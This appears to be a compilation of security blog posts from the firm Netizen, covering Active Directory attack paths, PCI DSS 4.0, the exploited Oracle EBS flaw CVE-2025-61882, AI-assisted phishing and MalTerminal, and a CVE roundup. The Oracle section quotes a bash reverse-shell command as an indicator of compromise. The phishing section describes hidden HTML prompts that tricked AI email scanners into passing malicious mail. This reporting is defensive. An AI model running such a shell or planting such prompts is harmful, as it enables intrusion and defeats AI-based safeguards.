Active Directory is still one of the most critical components of enterprise security, yet it remains one of the most frequently targeted systems by attackers. According to Microsoft Incident Response, nearly every investigation they handle involves a total domain compromise. This occurs when threat actors gain complete control of Active Directory, often starting with the takeover of a standard user account before escalating to Domain Admin.
Recovering from this type of breach can take months of work and significant investment. That is why Microsoft emphasizes the need for continuous improvement in Active Directory security rather than treating it as a one-time project.
How Attackers Gain Initial Access
Weak Passwords and Credential Hygiene
Weak password policies are one of the most common entry points for attackers. Password spraying and brute-force attacks succeed far too often, especially when organizations allow privileged accounts to rely on guessable credentials. If VPN or remote access is enabled without multi-factor authentication, stolen or weak passwords give attackers a simple path into the network.
Service accounts also create risk. Many are overprivileged, not rotated frequently, and excluded from MFA. In some cases, administrators store service account credentials in plain text within scripts or configuration files, making them easy targets.
Insecure Account Configurations
Microsoft Incident Response regularly uncovers accounts with dangerous settings such as “password not required” or reversible encryption enabled. Attackers can quickly identify these accounts during reconnaissance and use them to escalate privileges.
The Path to Credential Theft
Once inside, attackers focus on privileged credential exposure. Cached administrator credentials on non-Tier 0 systems are often harvested with tools like Mimikatz or Impacket. The wider administrators log into end user devices and servers, the greater the attack surface becomes.
Attackers also rely on Kerberoasting, a technique that abuses service principal names (SPNs). By requesting Kerberos tickets and cracking them offline, attackers can gain access to high-privilege service accounts. Insecure delegation settings create another pathway, allowing attackers to impersonate users if they compromise systems that store Kerberos tickets in memory.
Escalation to Full Domain Compromise
With footholds established, attackers take advantage of deeper weaknesses:
Misconfigured Access Control Lists (ACLs): Overly permissive ACLs allow compromised accounts to add themselves to privileged groups or rewrite security settings.
Exchange Permissions: On-premises Exchange environments often retain extensive Active Directory privileges, even in hybrid deployments. Attackers who gain SYSTEM-level access to Exchange servers can escalate to domain control.
Group Policy Abuse: Group Policy Objects (GPOs) are frequently misused to disable endpoint defenses, establish persistence, or distribute ransomware.
Trust Relationships: Poorly secured domain trusts, particularly during mergers and acquisitions, open cross-domain attack paths for adversaries.
Each of these misconfigurations shortens the path from a compromised user account to full control of the domain.
Expanding Definition of Tier 0
In the past, Tier 0 referred mainly to domain controllers. Today, it also includes Active Directory Federation Services (ADFS), Azure AD Connect, and certificate services. Compromising any of these identity systems can provide attackers with the same level of control as compromising a domain controller.
Organizations must treat every Tier 0 asset with the same protection strategy. This includes requiring privileged access workstations, restricting local admin rights, and monitoring all identity infrastructure as part of a Zero Trust approach.
Building a Stronger Defense for Active Directory
From Microsoft’s perspective, most compromises are caused by recurring issues: weak passwords, excessive privileges, misconfigured ACLs, and insecure delegation. To strengthen Active Directory security, organizations should adopt a continuous improvement cycle:
Reduce Privilege: Apply the principle of least privilege, limit the number of Domain Admin accounts, and require the use of privileged access workstations for Tier 0 systems.
Audit Regularly: Use Microsoft Defender for Identity, BloodHound, and PingCastle to identify misconfigurations and lateral movement paths.
Monitor Changes: Track account creations, group membership changes, and permission modifications that could introduce new attack paths.
Detect Actively: Deploy detections for Kerberoasting, unconstrained delegation abuse, and other suspicious Active Directory activities.
How Can Netizen Help?
Founded in 2013, Netizen is an award-winning technology firm that develops and leverages cutting-edge solutions to create a more secure, integrated, and automated digital environment for government, defense, and commercial clients worldwide. Our innovative solutions transform complex cybersecurity and technology challenges into strategic advantages by delivering mission-critical capabilities that safeguard and optimize clients’ digital infrastructure. One example of this is our popular “CISO-as-a-Service” offering that enables organizations of any size to access executive level cybersecurity expertise at a fraction of the cost of hiring internally.
Netizen also operates a state-of-the-art 24x7x365 Security Operations Center (SOC) that delivers comprehensive cybersecurity monitoring solutions for defense, government, and commercial clients. Our service portfolio includes cybersecurity assessments and advisory, hosted SIEM and EDR/XDR solutions, software assurance, penetration testing, cybersecurity engineering, and compliance audit support. We specialize in serving organizations that operate within some of the world’s most highly sensitive and tightly regulated environments where unwavering security, strict compliance, technical excellence, and operational maturity are non-negotiable requirements. Our proven track record in these domains positions us as the premier trusted partner for organizations where technology reliability and security cannot be compromised.
Netizen holds ISO 27001, ISO 9001, ISO 20000-1, and CMMI Level III SVC registrations demonstrating the maturity of our operations. We are a proud Service-Disabled Veteran-Owned Small Business (SDVOSB) certified by U.S. Small Business Administration (SBA) that has been named multiple times to the Inc. 5000 and Vet 100 lists of the most successful and fastest-growing private companies in the nation. Netizen has also been named a national “Best Workplace” by Inc. Magazine, a multiple awardee of the U.S. Department of Labor HIRE Vets Platinum Medallion for veteran hiring and retention, the Lehigh Valley Business of the Year and Veteran-Owned Business of the Year, and the recipient of dozens of other awards and accolades for innovation, community support, working environment, and growth.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
The Payment Card Industry Data Security Standard (PCI DSS) has long served as the baseline for securing cardholder data across industries. On March 31, 2024, PCI DSS version 3.2.1 was officially retired, and version 4.0 became the active standard. As of April 1, 2025, compliance with PCI DSS v4.0 is no longer optional, all merchants and service providers that accept, process, store, or transmit credit or debit card information must adhere to the updated framework to maintain their certification.
The PCI Security Standards Council released PCI DSS v4.0.1 in June 2024 as a limited revision to correct errors and clarify wording, but it introduced no new requirements. The compliance bar remains squarely set on version 4.0, and businesses of all sizes are now accountable for demonstrating adherence.
What’s Different with PCI DSS 4.0
Version 4.0 builds on prior requirements but introduces several significant changes. Organizations must:
Strengthen authentication, including expanding multifactor authentication (MFA) requirements.
Improve protection of account data with updated encryption and hashing requirements.
Enhance monitoring and testing by moving away from manual reviews and requiring automated log reviews and vulnerability scanning.
Document risk-based justifications through Targeted Risk Analyses (TRAs) for specific periodic activities such as password changes or script monitoring.
Increase scrutiny of web applications and payment pages to prevent e-skimming and supply chain exploits.
The standard still revolves around six control objectives: building and maintaining secure systems, protecting account data, managing vulnerabilities, enforcing access controls, monitoring/testing networks, and maintaining information security policies.
Why Compliance Matters in October 2025
For businesses operating today, PCI DSS v4.0 compliance is no longer a looming deadline, it is an enforceable requirement. Any entity found noncompliant risks financial penalties, restrictions on payment processing, and reputational damage. Compliance is particularly critical for merchants at Level 1 (processing more than 6 million transactions annually), who face strict audit and reporting obligations, though even the smallest merchants remain subject to validation and enforcement.
Next Steps for Businesses
By this point, organizations should already have completed a pre-assessment, closed identified gaps, and documented compliance. For those still catching up, immediate action is required:
Validate the scope of systems and data that fall under PCI DSS.
Conduct vulnerability scans and penetration tests on schedule.
Ensure MFA, encryption, and access controls meet updated requirements.
Train staff on phishing awareness and response.
Document policies, procedures, and TRAs for audit readiness.
The Bottom Line
As of October 2025, PCI DSS v4.0 compliance is mandatory. While v4.0.1 has clarified technical details, the fundamental requirement is unchanged: organizations handling payment data must implement, maintain, and prove strong security controls. For many businesses, achieving and demonstrating compliance is not just about avoiding penalties, it’s about building customer trust in an environment where card data remains one of the most valuable targets for attackers.
How Netizen Can Help
Meeting PCI DSS 4.0 requirements can be challenging, particularly for organizations that lack in-house compliance expertise. Netizen provides PCI pre-assessments to help businesses establish a clear picture of where they stand, identify gaps against the new requirements, and prioritize remediation steps before an audit.
Our team specializes in guiding companies through compliance frameworks that demand technical excellence and strong documentation. With ISO 27001, ISO 20000-1, ISO 9001, and CMMI Level III certifications, and recognition as a Service-Disabled Veteran-Owned Small Business (SDVOSB), Netizen has earned a reputation as a trusted partner for government, defense, and commercial clients.
If your organization is still working to align with PCI DSS 4.0, Netizen can help you reduce the risk of failed audits and maintain business continuity. Start the conversation today and approach compliance with confidence.
The shift toward Security-as-a-Service is being driven by technical and operational demands that traditional models cannot meet. Modern threat environments require persistent monitoring, real-time correlation, and rapid response capabilities that exceed what most internal security teams can maintain with on-premises tools. Delivering these capabilities as managed or co-managed services enables scalability, standardization, and measurable improvements in threat detection and response performance.
From Tool Ownership to Security Operations Integration
Traditional security models relied on purchasing and integrating point solutions such as SIEMs, EDRs, and IDS appliances. These tools required constant tuning, log normalization, rule maintenance, and correlation adjustments to remain effective. In many environments, this led to alert fatigue, blind spots, and operational inefficiencies. The service-based model integrates these functions into a managed pipeline where telemetry from endpoints, network sensors, and cloud workloads is centralized and normalized through shared data schemas and detection frameworks.
SOC-as-a-Service providers deploy detection engineering pipelines that align to MITRE ATT&CK mappings and use automation to manage alert triage and enrichment. This replaces the manual upkeep of detection content with structured pipelines that continuously evolve as new tactics are identified. The shift is not just operational but architectural: instead of isolated tools, the SOC consumes a managed detection fabric that provides correlation, threat intelligence integration, and real-time case management as part of the service layer.
Addressing the Analyst Shortage Through Distributed Expertise
The global shortage of qualified analysts has forced many SOCs to rethink how they allocate their workforce. Service-based security models distribute specialized skills across multiple tenants. Detection engineers, threat hunters, and compliance auditors operate within shared operational frameworks, allowing their expertise to scale across clients through automation and standardized playbooks.
Managed Detection and Response (MDR) services leverage shared detection libraries and automated escalation workflows that integrate with ticketing systems like ServiceNow or Jira. This gives clients access to curated detection logic, validated threat intelligence, and continuous coverage without maintaining 24×7 internal staffing. The approach reduces mean time to detect (MTTD) and mean time to respond (MTTR) by integrating incident response orchestration directly into the service delivery model.
Continuous Compliance and Telemetry Retention
Compliance frameworks such as CMMC, NIST 800-171, ISO 27001, and SOC 2 require auditable event retention and continuous monitoring. Service-based cybersecurity platforms manage this through immutable log storage, version-controlled correlation rules, and continuous validation pipelines. Automated compliance modules compare telemetry and configurations against control mappings, generating artifacts that can be used directly for audit evidence.
In advanced SOC-as-a-Service deployments, telemetry pipelines feed into compliance validation layers that map detections to specific control families. This reduces manual audit preparation and ensures alignment between operational monitoring and compliance objectives. It also enables real-time visibility into compliance drift, identifying when systems deviate from approved baselines or when security controls fail validation.
Scalability and Cost Predictability
Traditional SOC environments face cost escalation from data ingestion, storage, and analytics requirements. Security-as-a-Service models distribute infrastructure costs across clients, leveraging elastic compute resources to scale ingestion and detection workloads dynamically. Instead of provisioning fixed hardware or storage for log data, organizations subscribe to tiered ingestion models that scale automatically based on event volume.
Cost predictability becomes measurable through metrics such as cost per gigabyte of telemetry processed or cost per detection correlation rule maintained. This model allows SOC teams to forecast operational expenses more accurately while maintaining service-level objectives for detection latency, data retention, and incident resolution.
Refocusing Internal SOC Priorities
By outsourcing portions of detection, response, and compliance monitoring, internal SOCs can shift their focus to higher-value functions such as threat hunting, forensic analysis, and purple teaming. Managed security providers handle continuous ingestion, enrichment, and correlation, freeing internal teams to refine detections, validate hypotheses, and improve defensive depth.
This hybrid structure, where internal analysts oversee service outputs and validate detections, results in improved operational efficiency. Internal SOCs maintain visibility and governance, while service providers supply the automation, scaling, and specialized expertise required to keep pace with modern threat activity.
A Technical Outlook
As organizations transition to distributed architectures that include multi-cloud workloads, SaaS integrations, and IoT telemetry, the service-based security model will continue to expand. SOC-as-a-Service, CISO-as-a-Service, and full Cybersecurity-as-a-Service platforms now represent not just outsourcing but a redefinition of operational structure. They provide telemetry unification, automated enrichment, shared threat intelligence, and continuous compliance alignment—all through a service fabric that adapts as fast as the threat landscape itself.
How Netizen Can Help
Netizen delivers enterprise-grade cybersecurity through scalable service models that integrate directly with your organization’s operational and compliance requirements. Our 24x7x365 Security Operations Center provides continuous monitoring, detection, and incident response using platforms such as Wazuh and SentinelOne, backed by correlation and threat intelligence tuned to each client’s environment. Through our CISO-as-a-Service offering, organizations gain executive-level security leadership that aligns policies and controls with frameworks like CMMC, NIST 800-171, ISO 27001, and FedRAMP.
Netizen’s engineers architect and manage cloud-native detection pipelines that collect, normalize, and analyze telemetry across endpoints, servers, and networks, delivering actionable intelligence with measurable performance indicators. Clients receive unified dashboards, automated reporting, and compliance evidence generation built to satisfy audit and contractual obligations. By combining continuous monitoring with adaptive response automation, Netizen helps organizations reduce dwell time, improve visibility, and maintain compliance without expanding internal staff.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
Oracle has released an emergency security update to address a critical vulnerability in its E-Business Suite (EBS) software after confirming that threat actors associated with the Cl0p ransomware group exploited it in active data theft campaigns.
The flaw, tracked as CVE-2025-61882 with a CVSS score of 9.8, affects the Oracle Concurrent Processing component and allows for unauthenticated remote code execution. Attackers can exploit the vulnerability over HTTP without valid credentials, giving them full control of vulnerable systems.
In its advisory, Oracle stated: “This vulnerability is remotely exploitable without authentication. If successfully exploited, it may result in remote code execution.”
Oracle’s Chief Security Officer, Rob Duhart, confirmed that the company issued the emergency patch after discovering additional avenues of exploitation during its investigation. The update is intended to prevent continued abuse of unpatched instances that remain exposed to the internet.
Active Exploitation and Indicators of Compromise
Indicators of compromise (IoCs) shared by Oracle point to activity linked to the Scattered LAPSUS$ Hunters group, which appears to be collaborating with Cl0p operators in this campaign. Notable IPs and artifacts include:
200.107.207[.]26 and 185.181.60[.]11 – observed in GET and POST request activity
Reverse shell command: sh -c /bin/bash -i >& /dev/tcp// 0>&1
Files associated with proof-of-concept exploit kits, including oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip and exp.py
These indicators suggest that the attackers not only leveraged zero-day vulnerabilities but also incorporated previously disclosed flaws from Oracle’s July 2025 Critical Patch Update into chained exploitation workflows.
Cl0p’s Campaign Expands
Mandiant, a Google Cloud subsidiary, reported that Cl0p operators have been conducting large-scale phishing campaigns targeting Oracle EBS customers since mid-August 2025. The campaign used hundreds of compromised accounts to distribute malicious payloads, with the goal of exfiltrating sensitive business and financial data.
Mandiant CTO Charles Carmakal noted that multiple Oracle EBS vulnerabilities were exploited in these incidents. “Cl0p exploited multiple vulnerabilities in Oracle EBS which enabled them to steal large amounts of data from several victims,” he said. “Given the broad zero-day exploitation that has already occurred, organizations should examine whether they were already compromised.”
Impact and Response
The incident underscores the growing sophistication of financially motivated groups such as Cl0p, which have moved beyond traditional ransomware encryption tactics toward data exfiltration and extortion. Their focus on high-value enterprise applications like Oracle EBS reflects a deliberate shift toward exploiting critical business infrastructure.
Oracle recommends immediate application of the new security update and urges organizations to audit network logs for any signs of compromise. Given the confirmed exploitation, applying the patch alone is not sufficient, organizations must also conduct forensic analysis to determine whether data theft or lateral movement has already occurred.
How Netizen Can Help
Netizen assists organizations in identifying, mitigating, and responding to zero-day exploitation through proactive threat intelligence, continuous monitoring, and incident response support. Our managed cybersecurity services include vulnerability scanning, patch verification, and forensic review to detect signs of exploitation in enterprise software like Oracle EBS.
With expertise across both government and commercial environments, Netizen’s 24x7x365 Security Operations Center (SOC) provides real-time visibility and rapid response to active threats. For organizations that suspect exposure to CVE-2025-61882 or similar vulnerabilities, Netizen’s team can help assess compromise indicators, harden systems, and implement long-term security measures to prevent recurrence.
Start the conversation today to secure your enterprise systems before the next critical vulnerability is exploited.
Cybersecurity Awareness Month often focuses on posters, phishing tests, and all-hands emails reminding employees to “think before they click.” While these are useful starting points, the real goal is far more technical: to harden the human layer of defense while integrating people into the broader security architecture. A culture of cybersecurity is only meaningful if it is backed by continuous monitoring, strong authentication, segmentation, and governance that make human behaviors enforceable.
Awareness That Connects to Controls
Too often, awareness campaigns exist in isolation from security infrastructure. Teaching employees not to reuse passwords, for example, is helpful, but far more effective when paired with enforced password complexity policies, mandatory use of a password manager, and enterprise-wide adoption of phishing-resistant multi-factor authentication. Training against data exfiltration risks should also tie into DLP solutions that detect and block sensitive file transfers in real time.
The cultural message sticks when technical safeguards reinforce it. If employees see that their training aligns with the way their systems are configured, it validates that cybersecurity is not optional or theoretical, it is operational.
Embedding Security Into Daily Workflows
For culture to mature, security practices must blend into everyday processes without creating unnecessary friction. That means:
Single sign-on with enforced MFA for cloud applications, reducing password fatigue.
Microsegmentation to prevent lateral movement, ensuring that a single compromised identity cannot compromise the enterprise.
DNS-layer filtering and firewall policies that reduce the volume of malicious content employees ever encounter.
Endpoint detection and response (EDR) agents that generate alerts when user behavior deviates from established baselines.
These technical layers complement awareness by shaping the environment in which employees operate. The more seamless these controls are, the more natural secure behavior becomes.
Governance and Measurable Accountability
Building a culture also means building accountability frameworks. Security awareness should be measurable through metrics like:
Phishing simulation failure rates across departments.
Average time to report suspicious emails or incidents.
Percentage of employees completing technical training tied to compliance standards (NIST 800-53, CMMC, ISO 27001).
Incident response participation rates for tabletop exercises.
These metrics should feed into the same dashboards that track patch compliance, endpoint coverage, or vulnerability remediation timelines. Awareness must not remain a “soft” initiative; it should be subject to the same measurement and governance as technical controls.
Leadership and Technical Investment
Executive leadership can help build a security culture by pairing cultural advocacy with technical investment. That means providing budget for next-generation access controls, continuous monitoring platforms, or managed detection and response (MDR) services. It also means showing visible support for technical teams who enforce policies that may feel inconvenient but materially reduce risk.
When leadership shows that awareness campaigns are tied to measurable controls, enforced through governance, and backed by advanced security tooling, employees understand that the culture of security is not a slogan but a framework.
How Can Netizen Help?
Building a culture of cybersecurity requires more than annual training sessions or October campaigns, it demands continuous reinforcement through governance, technical controls, and expert guidance. This is where Netizen delivers value. We partner with organizations to move beyond one-time awareness initiatives and into lasting, measurable integration of people, process, and technology. From executive-level strategy to hands-on monitoring, Netizen helps ensure cybersecurity is not an event on the calendar, but a daily practice that strengthens resilience across the enterprise.
Founded in 2013, Netizen is an award-winning technology firm that develops and leverages cutting-edge solutions to create a more secure, integrated, and automated digital environment for government, defense, and commercial clients worldwide. Our innovative solutions transform complex cybersecurity and technology challenges into strategic advantages by delivering mission-critical capabilities that safeguard and optimize clients’ digital infrastructure. One example of this is our popular “CISO-as-a-Service” offering that enables organizations of any size to access executive level cybersecurity expertise at a fraction of the cost of hiring internally.
Netizen also operates a state-of-the-art 24x7x365 Security Operations Center (SOC) that delivers comprehensive cybersecurity monitoring solutions for defense, government, and commercial clients. Our service portfolio includes cybersecurity assessments and advisory, hosted SIEM and EDR/XDR solutions, software assurance, penetration testing, cybersecurity engineering, and compliance audit support. We specialize in serving organizations that operate within some of the world’s most highly sensitive and tightly regulated environments where unwavering security, strict compliance, technical excellence, and operational maturity are non-negotiable requirements. Our proven track record in these domains positions us as the premier trusted partner for organizations where technology reliability and security cannot be compromised.
Netizen holds ISO 27001, ISO 9001, ISO 20000-1, and CMMI Level III SVC registrations demonstrating the maturity of our operations. We are a proud Service-Disabled Veteran-Owned Small Business (SDVOSB) certified by U.S. Small Business Administration (SBA) that has been named multiple times to the Inc. 5000 and Vet 100 lists of the most successful and fastest-growing private companies in the nation. Netizen has also been named a national “Best Workplace” by Inc. Magazine, a multiple awardee of the U.S. Department of Labor HIRE Vets Platinum Medallion for veteran hiring and retention, the Lehigh Valley Business of the Year and Veteran-Owned Business of the Year, and the recipient of dozens of other awards and accolades for innovation, community support, working environment, and growth.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
The Department of War (DoW) has announced the implementation of the Cybersecurity Risk Management Construct (CSRMC), a next-generation framework designed to defend U.S. systems and missions against evolving cyber threats. The CSRMC represents a decisive shift from static compliance checklists to a model that emphasizes automation, continuous monitoring, and operational survivability, ensuring cyber defense at the speed of modern warfare.
Why the CSRMC Was Needed
For years, defense systems operated under the Risk Management Framework (RMF), which relied heavily on periodic assessments and manual reporting. While useful for documenting controls, the approach failed to keep pace with the speed of cyber threats. Adversaries could exploit vulnerabilities long before systems were reassessed, creating gaps in survivability.
The CSRMC addresses these shortcomings by embedding cybersecurity into every phase of the system lifecycle and creating a process that is faster, more responsive, and more aligned to operational realities. By transitioning from “snapshot in time” audits to dynamic, data-driven oversight, the construct ensures commanders have an accurate picture of cyber risk in real time.
The Five Phases of the CSRMC
The construct follows a five-phase lifecycle that aligns cybersecurity directly with system development and operations:
Phase 1: Design (Prepare, Categorize, Select) Cybersecurity and survivability requirements are identified at the earliest stages, ensuring that systems are built with defense in mind.
Phase 2: Build (Implement) Teams integrate critical controls, automation, and DevSecOps practices during system development to reduce vulnerabilities before testing.
Phase 3: Test (Assess) Systems undergo rigorous security evaluations, including penetration testing for high-risk environments, to validate defenses.
Phase 4: Onboard (Authorize) Systems are integrated into the DoDIN (Department of Defense Information Network) and submitted for evaluation, with continuous monitoring capabilities prepared for operational deployment.
Phase 5: Operations (Monitor) Continuous monitoring (CONMON) begins, feeding live telemetry into automated dashboards that enable real-time risk assessments. High-risk activity can be escalated immediately, with CSSP watch officers empowered to make decisions such as system isolation or disconnection.
The Ten Strategic Tenets
At its foundation, the CSRMC is built on ten interlocking principles:
Automation – Streamlining risk management through automated processes, reducing human error, and enabling faster decision-making.
Critical Controls – Enforcing baseline cybersecurity measures across all systems to safeguard mission-critical assets.
Continuous Monitoring and ATO – Real-time risk visibility with continuous Authorization to Operate (cATO).
DevSecOps – Integrating security into development and operations pipelines for safer, faster delivery of capabilities.
Cyber Survivability – Ensuring systems can withstand, recover from, and continue operating during cyber disruptions.
Training – Strengthening practitioner expertise with role-based programs for consistent application of the framework.
Enterprise Services & Inheritance – Sharing proven controls and inherited policies to reduce duplication and compliance overhead.
Operationalization – Embedding cyber defense directly into day-to-day mission operations.
Reciprocity – Accepting validated assessments across organizations to accelerate deployment and reduce redundant testing.
Cybersecurity Assessments – Conducting continuous, threat-informed evaluations that align directly to mission risk.
Delivering Cyber Defense at Operational Speed
By coupling automation with continuous monitoring, the CSRMC gives warfighters and mission owners the confidence that systems are defended in real time. It also provides commanders with accurate and timely insight into cyber risk, allowing them to make informed decisions that directly impact mission assurance.
As Katie Arrington, performing the duties of the DoW CIO, stated:
“With automation, continuous monitoring, and resilience at its core, the CSRMC empowers the Department to defend against today’s adversaries while preparing for tomorrow’s challenges.”
By institutionalizing this construct, the DoW is reinforcing survivability across every domain, air, land, sea, space, and cyberspace, and ensuring that cybersecurity is no longer a separate consideration, but a built-in component of operational readiness.
How Can Netizen Help?
Founded in 2013, Netizen is an award-winning technology firm that develops and leverages cutting-edge solutions to create a more secure, integrated, and automated digital environment for government, defense, and commercial clients worldwide. Our innovative solutions transform complex cybersecurity and technology challenges into strategic advantages by delivering mission-critical capabilities that safeguard and optimize clients’ digital infrastructure. One example of this is our popular “CISO-as-a-Service” offering that enables organizations of any size to access executive level cybersecurity expertise at a fraction of the cost of hiring internally.
Netizen also operates a state-of-the-art 24x7x365 Security Operations Center (SOC) that delivers comprehensive cybersecurity monitoring solutions for defense, government, and commercial clients. Our service portfolio includes cybersecurity assessments and advisory, hosted SIEM and EDR/XDR solutions, software assurance, penetration testing, cybersecurity engineering, and compliance audit support. We specialize in serving organizations that operate within some of the world’s most highly sensitive and tightly regulated environments where unwavering security, strict compliance, technical excellence, and operational maturity are non-negotiable requirements. Our proven track record in these domains positions us as the premier trusted partner for organizations where technology reliability and security cannot be compromised.
Netizen holds ISO 27001, ISO 9001, ISO 20000-1, and CMMI Level III SVC registrations demonstrating the maturity of our operations. We are a proud Service-Disabled Veteran-Owned Small Business (SDVOSB) certified by U.S. Small Business Administration (SBA) that has been named multiple times to the Inc. 5000 and Vet 100 lists of the most successful and fastest-growing private companies in the nation. Netizen has also been named a national “Best Workplace” by Inc. Magazine, a multiple awardee of the U.S. Department of Labor HIRE Vets Platinum Medallion for veteran hiring and retention, the Lehigh Valley Business of the Year and Veteran-Owned Business of the Year, and the recipient of dozens of other awards and accolades for innovation, community support, working environment, and growth.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
Microsoft Warns of AI-Crafted Phishing Campaign Using Malicious SVG Files
Researchers Identify MalTerminal, Earliest Known GPT-4-Enabled Malware
How can Netizen help?
Microsoft Warns of AI-Crafted Phishing Campaign Using Malicious SVG Files
Microsoft has raised the alarm about a phishing campaign targeting U.S. organizations that appears to use large language model (LLM)-generated code to conceal its payloads. The activity, detected on August 28, 2025, demonstrates how attackers are increasingly incorporating artificial intelligence into phishing and obfuscation tactics.
According to Microsoft Threat Intelligence, the campaign uses compromised business email accounts to distribute phishing messages disguised as file-sharing notifications. The lure leads recipients to believe they are opening a PDF document, when in reality the attachment is a Scalable Vector Graphics (SVG) file.
SVG files are appealing to attackers because they are scriptable and text-based, allowing JavaScript or other dynamic content to be embedded directly. This makes them capable of bypassing common email security filters. Features such as hidden elements, encoded attributes, and delayed execution further complicate detection.
In this campaign, once the SVG is opened, the victim is redirected to a fake CAPTCHA page and eventually to a spoofed login portal designed to harvest credentials. The code within the file was structured to resemble a legitimate business analytics dashboard and heavily used business terminology, such as “operations,” “growth,” and “risk”, to disguise malicious functionality. Microsoft noted that the complexity and verbosity of the code strongly suggested LLM involvement.
The phishing emails also employed a self-addressing tactic, where the sender and recipient fields matched and true targets were hidden in the BCC line, a method to sidestep basic heuristics.
Though Microsoft successfully blocked the attack chain, it cautioned that the methods on display are likely to reappear. “Similar techniques are increasingly being leveraged by a range of threat actors,” the company said, pointing to a trend of AI being used to make phishing lures more convincing and malware code more difficult to analyze.
The disclosure arrives as other researchers are reporting more advanced phishing campaigns. Forcepoint recently detailed an attack sequence that used malicious .XLAM attachments to deploy XWorm RAT, employing reflective DLL injection and heavy obfuscation. Cofense also observed phishing lures tied to copyright infringement notices and spoofed Social Security Administration messages, which delivered information stealers via Telegram and obfuscated Python payloads.
For security teams, the lesson is clear: AI is accelerating phishing innovation. Traditional detection methods, especially those that rely on static analysis, may no longer be sufficient against campaigns where attackers deliberately mimic legitimate business code structures.
Researchers Identify MalTerminal, Earliest Known GPT-4-Enabled Malware
Cybersecurity researchers at SentinelOne have uncovered what may be the earliest known example of malware embedding large language model (LLM) functionality. The malware, codenamed MalTerminal, was first presented at LABScon 2025 and represents a shift in how adversaries are experimenting with AI inside malicious tools.
According to SentinelLabs, MalTerminal uses OpenAI’s GPT-4 to dynamically generate either ransomware code or a reverse shell at runtime. Although there is no evidence the malware has been deployed in real-world attacks, researchers note that its existence marks an important milestone in the development of LLM-enabled malware.
The sample included a Windows executable as well as several Python scripts, some of which prompted users to choose between “ransomware” and “reverse shell” payloads. It also contained a defensive tool called FalconShield designed to analyze Python files by asking GPT to identify and explain malicious code. Researchers believe the presence of OpenAI’s now-deprecated chat completions API, retired in November 2023, indicates MalTerminal was created before that date—making it the earliest identified LLM-enabled malware to date.
SentinelOne warned that embedding LLMs directly into malware introduces a qualitative shift in tradecraft. Rather than relying solely on pre-written payloads, future LLM-enabled malware could dynamically generate malicious logic, complicating detection and response efforts for defenders.
The findings add to growing concerns about adversaries using AI to refine phishing operations. StrongestLayer researchers recently documented a campaign that embedded hidden prompts inside phishing emails to bypass AI-driven security scanners.
The emails, which posed as billing discrepancy notifications, used concealed HTML prompts with styling set to remain invisible. These instructions effectively tricked AI-based filters into marking the messages as safe business communication. When victims opened the HTML attachment, the chain exploited the Follina vulnerability (CVE-2022-30190) to execute additional payloads, disable Microsoft Defender Antivirus, and establish persistence.
The attack also leveraged “LLM poisoning” by embedding misleading comments in the source code, further evading automated analysis. StrongestLayer’s CTO described the tactic as “turning our own defenses into unwitting accomplices.”
Separately, Trend Micro researchers have observed increased use of AI-powered site builders such as Lovable, Netlify, and Vercel to host phishing content. Since January 2025, attackers have used these platforms to deploy fake CAPTCHA pages, tricking users into completing a challenge before being redirected to credential-harvesting sites. Automated scanners, meanwhile, typically only detect the CAPTCHA page and miss the malicious redirection.
Researchers described this abuse of legitimate AI-powered services as a “double-edged sword,” noting that attackers can now host convincing phishing campaigns at speed and minimal cost while benefiting from the credibility of well-known platforms.
How Can Netizen Help?
Founded in 2013, Netizen is an award-winning technology firm that develops and leverages cutting-edge solutions to create a more secure, integrated, and automated digital environment for government, defense, and commercial clients worldwide. Our innovative solutions transform complex cybersecurity and technology challenges into strategic advantages by delivering mission-critical capabilities that safeguard and optimize clients’ digital infrastructure. One example of this is our popular “CISO-as-a-Service” offering that enables organizations of any size to access executive level cybersecurity expertise at a fraction of the cost of hiring internally.
Netizen also operates a state-of-the-art 24x7x365 Security Operations Center (SOC) that delivers comprehensive cybersecurity monitoring solutions for defense, government, and commercial clients. Our service portfolio includes cybersecurity assessments and advisory, hosted SIEM and EDR/XDR solutions, software assurance, penetration testing, cybersecurity engineering, and compliance audit support. We specialize in serving organizations that operate within some of the world’s most highly sensitive and tightly regulated environments where unwavering security, strict compliance, technical excellence, and operational maturity are non-negotiable requirements. Our proven track record in these domains positions us as the premier trusted partner for organizations where technology reliability and security cannot be compromised.
Netizen holds ISO 27001, ISO 9001, ISO 20000-1, and CMMI Level III SVC registrations demonstrating the maturity of our operations. We are a proud Service-Disabled Veteran-Owned Small Business (SDVOSB) certified by U.S. Small Business Administration (SBA) that has been named multiple times to the Inc. 5000 and Vet 100 lists of the most successful and fastest-growing private companies in the nation. Netizen has also been named a national “Best Workplace” by Inc. Magazine, a multiple awardee of the U.S. Department of Labor HIRE Vets Platinum Medallion for veteran hiring and retention, the Lehigh Valley Business of the Year and Veteran-Owned Business of the Year, and the recipient of dozens of other awards and accolades for innovation, community support, working environment, and growth.
Looking for expert guidance to secure, automate, and streamline your IT infrastructure and operations? Start the conversation today.
Security vulnerabilities are a common occurrence in managing any business’s organizational security. The prompt patching and remediation of any new vulnerabilities are critical to reducing the outside attack surface. Netizen’s Security Operations Center (SOC) has compiled five critical vulnerabilities from September that should be immediately patched or addressed if present in your environment. Detailed writeups below:
CVE-2025-20352
CVE-2025-20352 describes a high-severity stack overflow vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE Software. The flaw arises from improper handling of SNMP packets, which makes the SNMP process vulnerable to memory corruption when it processes a crafted request. Exploitation requires an attacker to have access to an SNMPv2c community string or SNMPv3 credentials, but the impact varies based on the attacker’s privilege level. A remote attacker with only low-privileged SNMP access can send specially crafted packets that trigger a denial-of-service condition by forcing the affected device to reload, disrupting availability. More critically, a remote attacker with high-privileged credentials, such as administrative or privilege 15 rights, can exploit the same flaw to execute arbitrary code with root privileges on the underlying IOS XE device, granting them complete control. The attack vector is network-based and does not require user interaction, which broadens the exposure for organizations with SNMP enabled over IPv4 or IPv6 on internet-facing Cisco devices. Since this vulnerability affects all versions of SNMP on IOS and IOS XE, any unpatched system configured with SNMP is at risk.
